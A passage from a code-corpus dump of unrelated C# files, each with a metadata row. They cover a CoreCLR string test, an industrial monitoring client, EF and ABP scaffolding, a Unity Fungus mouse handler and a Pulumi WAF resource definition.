| 40.465649 | 229 | 0.587814 | [
"MIT"
] | Fa1c0n35/CSharp4Pentesters | WordMacro/WordMacroForm.cs | 5,303 | C# |
//------------------------------------------------------------------------------
// <auto-generated>
// このコードはツールによって生成されました。
// ランタイム バージョン:4.0.30319.42000
//
// このファイルへの変更は、以下の状況下で不正な動作の原因になったり、
// コードが再生成されるときに損失したりします。
// </auto-generated>
//------------------------------------------------------------------------------
namespace JFactory.CsSrcLib.Library.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}
| 37.962963 | 151 | 0.581463 | [
"MIT"
] | manbou404/CSharpLab | SourceLibrary/10-CSharp/GetTimeStampBuilding/Properties/Settings.Designer.cs | 1,199 | C# |
using System;
/// <summary>
/// String.Insert(Int32, String)
/// Inserts a specified instance of String at a specified index position in this instance.
/// </summary>
class StringInsert
{
private const int c_MIN_STRING_LEN = 8;
private const int c_MAX_STRING_LEN = 256;
private const int c_MAX_SHORT_STR_LEN = 31;//short string (<32 chars)
private const int c_MIN_LONG_STR_LEN = 257;//long string ( >256 chars)
private const int c_MAX_LONG_STR_LEN = 65535;
public static int Main()
{
StringInsert si = new StringInsert();
TestLibrary.TestFramework.BeginTestCase("for method: System.String.Insert(Int32, string)");
if (si.RunTests())
{
TestLibrary.TestFramework.EndTestCase();
TestLibrary.TestFramework.LogInformation("PASS");
return 100;
}
else
{
TestLibrary.TestFramework.EndTestCase();
TestLibrary.TestFramework.LogInformation("FAIL");
return 0;
}
}
public bool RunTests()
{
bool retVal = true;
TestLibrary.TestFramework.LogInformation("[Positive]");
retVal = PosTest1() && retVal;
retVal = PosTest2() && retVal;
retVal = PosTest3() && retVal;
retVal = PosTest4() && retVal;
TestLibrary.TestFramework.LogInformation("[Negative]");
retVal = NegTest1() && retVal;
retVal = NegTest2() && retVal;
retVal = NegTest3() && retVal;
return retVal;
}
#region Positive test scenarios
public bool PosTest1() // new update 8-8-2006 Noter(v-yaduoj)
{
bool retVal = true;
const string c_TEST_DESC = "PosTest1: Start index is 0";
const string c_TEST_ID = "P001";
int index;
string strSrc, strInserting;
bool condition1 = false; //Verify the inserting string
bool condition2 = false; //Verify the source string
bool expectedValue = true;
bool actualValue = false;
index = 0;
strSrc = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
//strSrc = "AABBB";
strInserting = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
//strInserting = "%%";
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
string strNew = strSrc.Insert(index, strInserting);
condition1 = (0 == string.CompareOrdinal(strInserting, strNew.Substring(index, strInserting.Length)));
condition2 = (0 == string.CompareOrdinal(strSrc, strNew.Substring(0, index) + strNew.Substring(index + strInserting.Length)));
actualValue = condition1 && condition2;
if (expectedValue != actualValue)
{
string errorDesc = "Value is not " + expectedValue + " as expected: Actual(" + actualValue + ")";
TestLibrary.TestFramework.LogError("001" + "TestId-" + c_TEST_ID, errorDesc);
retVal = false;
}
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("002" + "TestId-" + c_TEST_ID, "Unexpected exception:" + e);
retVal = false;
}
return retVal;
}
// new update 8-8-2006 Noter(v-yaduoj)
public bool PosTest2()
{
bool retVal = true;
const string c_TEST_DESC = "Start index equals the length of instance ";
const string c_TEST_ID = "P002";
int index;
string strSrc, strInserting;
bool condition1 = false; //Verify the inserting string
bool condition2 = false; //Verify the source string
bool expectedValue = true;
bool actualValue = false;
strSrc = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
index = strSrc.Length;
strInserting = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
string strNew = strSrc.Insert(index, strInserting);
condition1 = (0 == string.CompareOrdinal(strInserting, strNew.Substring(index, strInserting.Length)));
condition2 = (0 == string.CompareOrdinal(strSrc, strNew.Substring(0, index) + strNew.Substring(index + strInserting.Length)));
actualValue = condition1 && condition2;
if (expectedValue != actualValue)
{
string errorDesc = "Value is not " + expectedValue + " as expected: Actual(" + actualValue + ")";
TestLibrary.TestFramework.LogError("003" + "TestId-" + c_TEST_ID, errorDesc);
retVal = false;
}
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("004" + "TestId-" + c_TEST_ID, "Unexpected exception:" + e);
retVal = false;
}
return retVal;
}
// new update 8-8-2006 Noter(v-yaduoj)
public bool PosTest3()
{
bool retVal = true;
const string c_TEST_DESC = "Start index is a value between 1 and Instance.Length - 1 ";
const string c_TEST_ID = "P003";
int index;
string strSrc, strInserting;
bool condition1 = false; //Verify the inserting string
bool condition2 = false; //Verify the source string
bool expectedValue = true;
bool actualValue = false;
strSrc = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
index = GetInt32(1, strSrc.Length - 1);
strInserting = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
string strNew = strSrc.Insert(index, strInserting);
condition1 = (0 == string.CompareOrdinal(strInserting, strNew.Substring(index, strInserting.Length)));
condition2 = (0 == string.CompareOrdinal(strSrc, strNew.Substring(0, index) + strNew.Substring(index + strInserting.Length)));
actualValue = condition1 && condition2;
if (expectedValue != actualValue)
{
string errorDesc = "Value is not " + expectedValue + " as expected: Actual(" + actualValue + ")";
TestLibrary.TestFramework.LogError("005" + "TestId-" + c_TEST_ID, errorDesc);
retVal = false;
}
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("006" + "TestId-" + c_TEST_ID, "Unexpected exception:" + e);
retVal = false;
}
return retVal;
}
// new update 8-8-2006 Noter(v-yaduoj)
public bool PosTest4()
{
bool retVal = true;
const string c_TEST_DESC = "String inserted is Sting.Empty";
const string c_TEST_ID = "P004";
int index;
string strSrc, strInserting;
bool condition1 = false; //Verify the inserting string
bool condition2 = false; //Verify the source string
bool expectedValue = true;
bool actualValue = false;
strSrc = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
index = GetInt32(0, strSrc.Length);
strInserting = String.Empty;
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
string strNew = strSrc.Insert(index, strInserting);
condition1 = (0 == string.CompareOrdinal(strInserting, strNew.Substring(index, strInserting.Length)));
condition2 = (0 == string.CompareOrdinal(strSrc, strNew.Substring(0, index) + strNew.Substring(index + strInserting.Length)));
actualValue = condition1 && condition2;
if (expectedValue != actualValue)
{
string errorDesc = "Value is not " + expectedValue + " as expected: Actual(" + actualValue + ")";
TestLibrary.TestFramework.LogError("007" + "TestId-" + c_TEST_ID, errorDesc);
retVal = false;
}
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("008" + "TestId-" + c_TEST_ID, "Unexpected exception:" + e);
retVal = false;
}
return retVal;
}
#endregion
#region Negative test scenairos
public bool NegTest1()
{
bool retVal = true;
const string c_TEST_DESC = "The string inserted is null";
const string c_TEST_ID = "N001";
int index;
string strSource, str;
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
strSource = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
index = GetInt32(0, strSource.Length);
str = null;
strSource.Insert(index, str);
TestLibrary.TestFramework.LogError("009" + "TestId-" + c_TEST_ID, "ArgumentNullException is not thrown as expected");
retVal = false;
}
catch (ArgumentNullException)
{}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("010" + "TestId-" + c_TEST_ID, "Unexpected exception:" + e);
retVal = false;
}
return retVal;
}
public bool NegTest2()
{
bool retVal = true;
const string c_TEST_DESC = "The start index is greater than the length of instance.";
const string c_TEST_ID = "N002";
int index;
string strSource, str;
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
strSource = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
index = GetInt32(strSource.Length + 1, Int32.MaxValue);
str = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
strSource.Insert(index, str);
TestLibrary.TestFramework.LogError("011" + "TestId-" + c_TEST_ID, "ArgumentOutOfRangeException is not thrown as expected");
retVal = false;
}
catch (ArgumentOutOfRangeException)
{ }
catch (Exception e)
{
TestLibrary.TestFramework.LogError("012" + "TestId-" + c_TEST_ID, "Unexpected exception:" + e);
retVal = false;
}
return retVal;
}
public bool NegTest3()
{
bool retVal = true;
const string c_TEST_DESC = "The start index is a negative integer";
const string c_TEST_ID = "N003";
int index;
string strSource, str;
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
strSource = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
index = -1 * GetInt32(0, Int32.MaxValue) - 1;
str = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
strSource.Insert(index, str);
TestLibrary.TestFramework.LogError("013" + "TestId-" + c_TEST_ID, "ArgumentOutOfRangeException is not thrown as expected");
retVal = false;
}
catch (ArgumentOutOfRangeException)
{ }
catch (Exception e)
{
TestLibrary.TestFramework.LogError("014" + "TestId-" + c_TEST_ID, "Unexpected exception:" + e);
retVal = false;
}
return retVal;
}
#endregion
#region helper methods for generating test data
private bool GetBoolean()
{
Int32 i = this.GetInt32(1, 2);
return (i == 1) ? true : false;
}
//Get a non-negative integer between minValue and maxValue
private Int32 GetInt32(Int32 minValue, Int32 maxValue)
{
try
{
if (minValue == maxValue)
{
return minValue;
}
if (minValue < maxValue)
{
return minValue + TestLibrary.Generator.GetInt32(-55) % (maxValue - minValue);
}
}
catch
{
throw;
}
return minValue;
}
private Int32 Min(Int32 i1, Int32 i2)
{
return (i1 <= i2) ? i1 : i2;
}
private Int32 Max(Int32 i1, Int32 i2)
{
return (i1 >= i2) ? i1 : i2;
}
#endregion
}
| 33.446237 | 138 | 0.593313 | [
"MIT"
] | CyberSys/coreclr-mono | tests/src/CoreMangLib/cti/system/string/stringinsert.cs | 12,442 | C# |
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using HslCommunication.Enthernet;
using HslCommunication.Core.Net;
using Newtonsoft.Json.Linq;
namespace Client
{
public partial class FormClient : Form
{
public FormClient()
{
InitializeComponent();
}
private void FormClient_Load(object sender, EventArgs e)
{
NetComplexInitialization();
hslCurve1.SetLeftCurve( "温度", new float[0], Color.LimeGreen ); // 新增一条实时曲线
hslCurve1.AddLeftAuxiliary( 100, Color.Tomato ); // 新增一条100度的辅助线
pushClient.CreatePush( PushCallBack ); // 创建数据订阅器
}
private void FormClient_FormClosing(object sender, FormClosingEventArgs e)
{
pushClient?.ClosePush( );
complexClient?.ClientClose();
System.Threading.Thread.Sleep( 100 );
}
#region Complex Client
//===========================================================================================================
// 网络通讯的客户端块,负责接收来自服务器端推送的数据
private NetComplexClient complexClient;
private bool isClientIni = false; // 客户端是否进行初始化过数据
private void NetComplexInitialization()
{
complexClient = new NetComplexClient();
complexClient.EndPointServer = new System.Net.IPEndPoint(
System.Net.IPAddress.Parse("127.0.0.1"), 23456);
complexClient.AcceptByte += ComplexClient_AcceptByte;
complexClient.AcceptString += ComplexClient_AcceptString;
complexClient.ClientStart();
}
private void ComplexClient_AcceptString(AppSession session, HslCommunication.NetHandle handle, string data)
{
// 接收到服务器发送过来的字符串数据时触发
}
private void ComplexClient_AcceptByte( AppSession session, HslCommunication.NetHandle handle, byte[] buffer)
{
// 接收到服务器发送过来的字节数据时触发
if (handle == 1)
{
// 该buffer是读取到的西门子数据
//if (isClientIni)
//{
// ShowReadContent( buffer );
//}
}
else if(handle == 2)
{
// 初始化的数据
ShowHistory( buffer );
isClientIni = true;
}
}
#endregion
#region 显示结果
// 接收到服务器传送过来的数据后需要对数据进行解析显示
private void ShowReadContent(JObject content)
{
if (InvokeRequired && !IsDisposed)
{
try
{
Invoke( new Action<JObject>( ShowReadContent ), content );
}
catch
{
}
return;
}
double temp1 = content["temp"].ToObject<double>( ); // 温度
bool machineEnable = content["enable"].ToObject<bool>( ); // 设备使能
int product = content["product"].ToObject<int>( ); // 产量数据
hslLedDisplay1.DisplayText = temp1.ToString();
// 如果温度超100℃就把背景改为红色
hslLedDisplay1.ForeColor = temp1 > 100d ? Color.Tomato : Color.Lime;
label3.Text = product.ToString();
label5.Text = machineEnable ? "运行中" : "未启动";
// 添加仪表盘显示
hslGauge1.Value = (float)Math.Round( temp1, 1 );
// 添加温度控件显示
hslThermometer1.Value = (float)Math.Round( temp1, 1 );
// 添加实时的数据曲线
hslCurve1.AddCurveData( "温度", (float)temp1 );
}
private void ShowHistory( byte[] content )
{
if (InvokeRequired && !IsDisposed)
{
Invoke( new Action<byte[]>( ShowHistory ), content );
return;
}
float[] value = new float[content.Length / 4];
for (int i = 0; i < value.Length; i++)
{
value[i] = BitConverter.ToSingle( content, i * 4 );
}
hslCurve1.AddCurveData( "温度", value );
}
#endregion
#region Simplify Client
private NetSimplifyClient simplifyClient = new NetSimplifyClient( "127.0.0.1", 23457 );
#endregion
#region Push NetClient
private NetPushClient pushClient = new NetPushClient( "127.0.0.1", 23467, "A" ); // 数据订阅器,负责订阅主要的数据
private void PushCallBack( NetPushClient pushClient, string value )
{
JObject content = JObject.Parse( value );
if (isClientIni)
{
ShowReadContent( content );
}
}
#endregion
private void userButton2_Click( object sender, EventArgs e )
{
// 远程通知服务器启动设备
HslCommunication.OperateResult<string> operate = simplifyClient.ReadFromServer( 1, "" );
if (operate.IsSuccess)
{
MessageBox.Show( operate.Content );
}
else
{
MessageBox.Show( "启动失败!" + operate.Message );
}
}
private void userButton3_Click( object sender, EventArgs e )
{
// 远程通知服务器停止设备
HslCommunication.OperateResult<string> operate = simplifyClient.ReadFromServer( 2, "" );
if (operate.IsSuccess)
{
MessageBox.Show( operate.Content );
}
else
{
MessageBox.Show( "启动失败!" + operate.Message );
}
}
}
}
| 29.045 | 132 | 0.508349 | [
"MIT"
] | arthur0702/RemoteMonitor | Client/FormClient.cs | 6,315 | C# |
using Volo.Abp.Domain;
using Volo.Abp.Modularity;
namespace LINGYUN.ApiGateway
{
[DependsOn(typeof(AbpDddDomainModule))]
public class ApiGatewayDomainModule : AbpModule
{
}
}
| 17.545455 | 51 | 0.73057 | [
"MIT"
] | FanShiYou/abp-vue-admin-element-typescript | aspnet-core/modules/apigateway/LINGYUN.ApiGateway.Domain/LINGYUN/ApiGateway/ApiGatewayDomainModule.cs | 195 | C# |
// ----------------------------------------------------------------------------------
//
// Copyright Microsoft Corporation
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// ----------------------------------------------------------------------------------
using System;
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyTitle("Microsoft Azure Powershell - ImageBuilder")]
[assembly: AssemblyCompany(Microsoft.WindowsAzure.Commands.Common.AzurePowerShell.AssemblyCompany)]
[assembly: AssemblyProduct(Microsoft.WindowsAzure.Commands.Common.AzurePowerShell.AssemblyProduct)]
[assembly: AssemblyCopyright(Microsoft.WindowsAzure.Commands.Common.AzurePowerShell.AssemblyCopyright)]
[assembly: ComVisible(false)]
[assembly: CLSCompliant(false)]
[assembly: Guid("032C639A-AFE3-4DEE-8B70-6B920335732D")]
[assembly: AssemblyVersion("0.1.2")]
[assembly: AssemblyFileVersion("0.1.2")]
| 49.482759 | 104 | 0.685017 | [
"MIT"
] | 3quanfeng/azure-powershell | src/ImageBuilder/Properties/AssemblyInfo.cs | 1,407 | C# |
using System.IO;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
using AutoMapper;
using CarsManager.Application.Common.Exceptions;
using CarsManager.Application.Common.Interfaces;
using CarsManager.Application.Common.Security;
using CarsManager.Application.Employees.Queries.GetEmployees;
using CarsManager.Domain.Entities;
using MediatR;
using Microsoft.EntityFrameworkCore;
namespace CarsManager.Application.Vehicles.Queries.GetVehicleExtended
{
[Authorise]
public class GetVehicleExtendedQuery : IRequest<VehicleExtendedVm>
{
public int Id { get; set; }
public string PhotoPath { get; set; }
}
public class GetVehicleQueryHandler : IRequestHandler<GetVehicleExtendedQuery, VehicleExtendedVm>
{
private readonly IApplicationDbContext context;
private readonly IMapper mapper;
private readonly IUrlHelper urlHelper;
public GetVehicleQueryHandler(IApplicationDbContext context, IMapper mapper, IUrlHelper urlHelper)
{
this.context = context;
this.mapper = mapper;
this.urlHelper = urlHelper;
}
public async Task<VehicleExtendedVm> Handle(GetVehicleExtendedQuery request, CancellationToken cancellationToken)
{
var entity = await context.Vehicles
.Include(v => v.Employees)
.Include(v => v.MOTs)
.Include(v => v.CivilLiabilities)
.Include(v => v.CarInsurances)
.Include(v => v.Vignettes)
.FirstOrDefaultAsync(v => v.Id == request.Id);
if (entity == null)
throw new NotFoundException(nameof(Vehicle), request.Id);
var employees = entity.Employees
.OrderBy(e => e.Surname)
.ThenBy(e => e.GivenName)
.Select(e => mapper.Map<BasicEmployeeDto>(e)).ToList();
foreach (var employee in employees)
if (!string.IsNullOrEmpty(employee.ImageName))
employee.ImageAddress = Path.Combine(request.PhotoPath, employee.ImageName);
return new VehicleExtendedVm
{
RecentLiabilities = mapper.Map<VehicleRecentLiabilitiesDto>(entity),
Employees = employees,
};
}
}
}
| 35.5 | 121 | 0.644046 | [
"MIT"
] | pkanev/CarsManager | src/Application/Vehicles/Queries/GetVehicleExtended/GetVehicleExtendedQuery.cs | 2,345 | C# |
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License. See LICENSE in the project root for license information.
using UnityEngine;
using System.Collections;
using HoloToolkit.Unity;
namespace HoloToolkit.Examples.Prototyping
{
/// <summary>
/// updates the position of an object based on currently selected values from the array.
/// Use MoveToPosition for easing... Auto detected
/// </summary>
public class CyclePosition : CycleArray<Vector3>
{
[Tooltip("use local position instead of position. Overrides MoveToPosition ToLocalPosition setting.")]
public bool UseLocalPosition = false;
private MoveToPosition mMoveTranslator;
protected override void Awake()
{
mMoveTranslator = GetComponent<MoveToPosition>();
base.Awake();
}
/// <summary>
/// set the position
/// </summary>
/// <param name="index"></param>
public override void SetIndex(int index)
{
base.SetIndex(index);
Vector3 item = Array[Index];
// use MoveTo Position
if (mMoveTranslator != null)
{
mMoveTranslator.ToLocalTransform = UseLocalPosition;
mMoveTranslator.TargetValue = item;
mMoveTranslator.StartRunning();
}
else
{
if (UseLocalPosition)
{
TargetObject.transform.localPosition = item;
}
else
{
TargetObject.transform.position = item;
}
}
}
}
}
| 28.16129 | 110 | 0.553837 | [
"MIT"
] | ActiveNick/MixedRealityToolkit-Unity | Assets/HoloToolkit-Examples/Prototyping/Scripts/CyclePosition.cs | 1,748 | C# |
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("SvnUpdateNames")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("IHS")]
[assembly: AssemblyProduct("SvnUpdateNames")]
[assembly: AssemblyCopyright("Copyright © IHS 2014")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("1c18bb28-8747-4263-8e4c-8e19d0cb3cc4")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| 38.027027 | 84 | 0.746979 | [
"MIT"
] | azarkevich/SvnPreCommitAuthor | SvnUpdateNames/Properties/AssemblyInfo.cs | 1,410 | C# |
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
namespace Fungus
{
/// <summary>
/// The block will execute when the desired OnMouse* message for the monobehaviour is received
/// </summary>
[EventHandlerInfo("MonoBehaviour",
"Mouse",
"The block will execute when the desired OnMouse* message for the monobehaviour is received")]
[AddComponentMenu("")]
public class Mouse : EventHandler
{
[System.Flags]
public enum MouseMessageFlags
{
OnMouseDown = 1 << 0,
OnMouseDrag = 1 << 1,
OnMouseEnter = 1 << 2,
OnMouseExit = 1 << 3,
OnMouseOver = 1 << 4,
OnMouseUp = 1 << 5,
OnMouseUpAsButton = 1 << 6,
}
[Tooltip("Which of the Mouse messages to trigger on.")]
[SerializeField]
[EnumFlag]
protected MouseMessageFlags FireOn = MouseMessageFlags.OnMouseUpAsButton;
private void OnMouseDown()
{
HandleTriggering(MouseMessageFlags.OnMouseDown);
}
private void OnMouseDrag()
{
HandleTriggering(MouseMessageFlags.OnMouseDrag);
}
private void OnMouseEnter()
{
HandleTriggering(MouseMessageFlags.OnMouseEnter);
}
private void OnMouseExit()
{
HandleTriggering(MouseMessageFlags.OnMouseExit);
}
private void OnMouseOver()
{
HandleTriggering(MouseMessageFlags.OnMouseOver);
}
private void OnMouseUp()
{
HandleTriggering(MouseMessageFlags.OnMouseUp);
}
private void OnMouseUpAsButton()
{
HandleTriggering(MouseMessageFlags.OnMouseUpAsButton);
}
private void HandleTriggering(MouseMessageFlags from)
{
if((from & FireOn) != 0)
{
ExecuteBlock();
}
}
}
}
| 26.307692 | 116 | 0.552632 | [
"MIT"
] | ACM-London-Game-Development/MinoTourPublic | Assets/Fungus/Scripts/EventHandlers/MonoBehaviour/Mouse.cs | 2,054 | C# |
// <auto-generated />
using System;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Infrastructure;
using Microsoft.EntityFrameworkCore.Metadata;
using Microsoft.EntityFrameworkCore.Migrations;
using Microsoft.EntityFrameworkCore.Storage.ValueConversion;
using MoviePortal.Models;
namespace MoviePortal.Migrations
{
[DbContext(typeof(MoviePortalContext))]
[Migration("20191016015045_InitialCreate")]
partial class InitialCreate
{
protected override void BuildTargetModel(ModelBuilder modelBuilder)
{
#pragma warning disable 612, 618
modelBuilder
.HasAnnotation("ProductVersion", "3.0.0")
.HasAnnotation("Relational:MaxIdentifierLength", 128)
.HasAnnotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn);
modelBuilder.Entity("MoviePortal.Models.Movie", b =>
{
b.Property<int>("ID")
.ValueGeneratedOnAdd()
.HasColumnType("int")
.HasAnnotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn);
b.Property<string>("Genre")
.IsRequired()
.HasColumnType("nvarchar(30)")
.HasMaxLength(30);
b.Property<decimal>("Price")
.HasColumnType("decimal(18, 2)");
b.Property<string>("Rating")
.HasColumnType("nvarchar(5)")
.HasMaxLength(5);
b.Property<DateTime>("ReleaseDate")
.HasColumnType("datetime2");
b.Property<string>("Title")
.HasColumnType("nvarchar(60)")
.HasMaxLength(60);
b.HasKey("ID");
b.ToTable("Movie");
});
#pragma warning restore 612, 618
}
}
}
| 35.396552 | 125 | 0.564053 | [
"MIT"
] | CamSoper/how-insightful | Demos/MoviePortal_Instrumented/Migrations/20191016015045_InitialCreate.Designer.cs | 2,055 | C# |
using Shouldly;
using System.Threading;
using System.Threading.Tasks;
using Xunit;
using CleanArchitecture.Application.UnitTests.Common;
using CleanArchitecture.Application.Families.Commands.CreateFamily;
namespace CleanArchitecture.Application.UnitTests.Families.Commands.CreateFamily
{
public class CreateFamilyCommandTests : CommandTestBase
{
[Fact]
public async Task Handle_ShouldPersistFamily()
{
var command = new CreateFamilyCommand
{
GuestId = 1,
ConfirmationCode = "Test ConfirmationCode",
Address1 = "Test Address1",
Address2 = "Test Address2",
City = "Test City",
StateId = 1,
Zip = "Test Zip"
};
var handler = new CreateFamilyCommand.CreateFamilyCommandHandler(Context);
var result = await handler.Handle(command, CancellationToken.None);
var entity = Context.Families.Find(result);
entity.ShouldNotBeNull();
entity.ConfirmationCode.ShouldBe(command.ConfirmationCode);
entity.Address1.ShouldBe(command.Address1);
entity.Address2.ShouldBe(command.Address2);
entity.City.ShouldBe(command.City);
entity.StateId.ShouldBe(command.StateId);
entity.Zip.ShouldBe(command.Zip);
}
}
}
| 33.452381 | 86 | 0.629893 | [
"MIT"
] | dkm8923/WeddingAppCore | tests/Application.UnitTests/Families/Commands/CreateFamily/CreateFamilyCommandTests.cs | 1,407 | C# |
// *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
// *** Do not edit by hand unless you're certain you know what you are doing! ***
using System;
using System.Collections.Generic;
using System.Collections.Immutable;
using System.Threading.Tasks;
using Pulumi.Serialization;
namespace Pulumi.Aws.WafRegional
{
/// <summary>
/// Provides a WAF Regional Size Constraint Set Resource for use with Application Load Balancer.
///
/// ## Example Usage
///
/// ```csharp
/// using Pulumi;
/// using Aws = Pulumi.Aws;
///
/// class MyStack : Stack
/// {
/// public MyStack()
/// {
/// var sizeConstraintSet = new Aws.WafRegional.SizeConstraintSet("sizeConstraintSet", new Aws.WafRegional.SizeConstraintSetArgs
/// {
/// SizeConstraints =
/// {
/// new Aws.WafRegional.Inputs.SizeConstraintSetSizeConstraintArgs
/// {
/// ComparisonOperator = "EQ",
/// FieldToMatch = new Aws.WafRegional.Inputs.SizeConstraintSetSizeConstraintFieldToMatchArgs
/// {
/// Type = "BODY",
/// },
/// Size = 4096,
/// TextTransformation = "NONE",
/// },
/// },
/// });
/// }
///
/// }
/// ```
///
/// ## Import
///
/// WAF Size Constraint Set can be imported using the id, e.g.
///
/// ```sh
/// $ pulumi import aws:wafregional/sizeConstraintSet:SizeConstraintSet size_constraint_set a1b2c3d4-d5f6-7777-8888-9999aaaabbbbcccc
/// ```
/// </summary>
[AwsResourceType("aws:wafregional/sizeConstraintSet:SizeConstraintSet")]
public partial class SizeConstraintSet : Pulumi.CustomResource
{
[Output("arn")]
public Output<string> Arn { get; private set; } = null!;
/// <summary>
/// The name or description of the Size Constraint Set.
/// </summary>
[Output("name")]
public Output<string> Name { get; private set; } = null!;
/// <summary>
/// Specifies the parts of web requests that you want to inspect the size of.
/// </summary>
[Output("sizeConstraints")]
public Output<ImmutableArray<Outputs.SizeConstraintSetSizeConstraint>> SizeConstraints { get; private set; } = null!;
/// <summary>
/// Create a SizeConstraintSet resource with the given unique name, arguments, and options.
/// </summary>
///
/// <param name="name">The unique name of the resource</param>
/// <param name="args">The arguments used to populate this resource's properties</param>
/// <param name="options">A bag of options that control this resource's behavior</param>
public SizeConstraintSet(string name, SizeConstraintSetArgs? args = null, CustomResourceOptions? options = null)
: base("aws:wafregional/sizeConstraintSet:SizeConstraintSet", name, args ?? new SizeConstraintSetArgs(), MakeResourceOptions(options, ""))
{
}
private SizeConstraintSet(string name, Input<string> id, SizeConstraintSetState? state = null, CustomResourceOptions? options = null)
: base("aws:wafregional/sizeConstraintSet:SizeConstraintSet", name, state, MakeResourceOptions(options, id))
{
}
private static CustomResourceOptions MakeResourceOptions(CustomResourceOptions? options, Input<string>? id)
{
var defaultOptions = new CustomResourceOptions
{
Version = Utilities.Version,
};
var merged = CustomResourceOptions.Merge(defaultOptions, options);
// Override the ID if one was specified for consistency with other language SDKs.
merged.Id = id ?? merged.Id;
return merged;
}
/// <summary>
/// Get an existing SizeConstraintSet resource's state with the given name, ID, and optional extra
/// properties used to qualify the lookup.
/// </summary>
///
/// <param name="name">The unique name of the resulting resource.</param>
/// <param name="id">The unique provider ID of the resource to lookup.</param>
/// <param name="state">Any extra arguments used during the lookup.</param>
/// <param name="options">A bag of options that control this resource's behavior</param>
public static SizeConstraintSet Get(string name, Input<string> id, SizeConstraintSetState? state = null, CustomResourceOptions? options = null)
{
return new SizeConstraintSet(name, id, state, options);
}
}
public sealed class SizeConstraintSetArgs : Pulumi.ResourceArgs
{
/// <summary>
/// The name or description of the Size Constraint Set.
/// </summary>
[Input("name")]
public Input<string>? Name { get; set; }
[Input("sizeConstraints")]
private InputList<Inputs.SizeConstraintSetSizeConstraintArgs>? _sizeConstraints;
/// <summary>
/// Specifies the parts of web requests that you want to inspect the size of.
/// </summary>
public InputList<Inputs.SizeConstraintSetSizeConstraintArgs> SizeConstraints
{
get => _sizeConstraints ?? (_sizeConstraints = new InputList<Inputs.SizeConstraintSetSizeConstraintArgs>());
set => _sizeConstraints = value;
}
public SizeConstraintSetArgs()
{
}
}
public sealed class SizeConstraintSetState : Pulumi.ResourceArgs
{
[Input("arn")]
public Input<string>? Arn { get; set; }
/// <summary>
/// The name or description of the Size Constraint Set.
/// </summary>
[Input("name")]
public Input<string>? Name { get; set; }
[Input("sizeConstraints")]
private InputList<Inputs.SizeConstraintSetSizeConstraintGetArgs>? _sizeConstraints;
/// <summary>
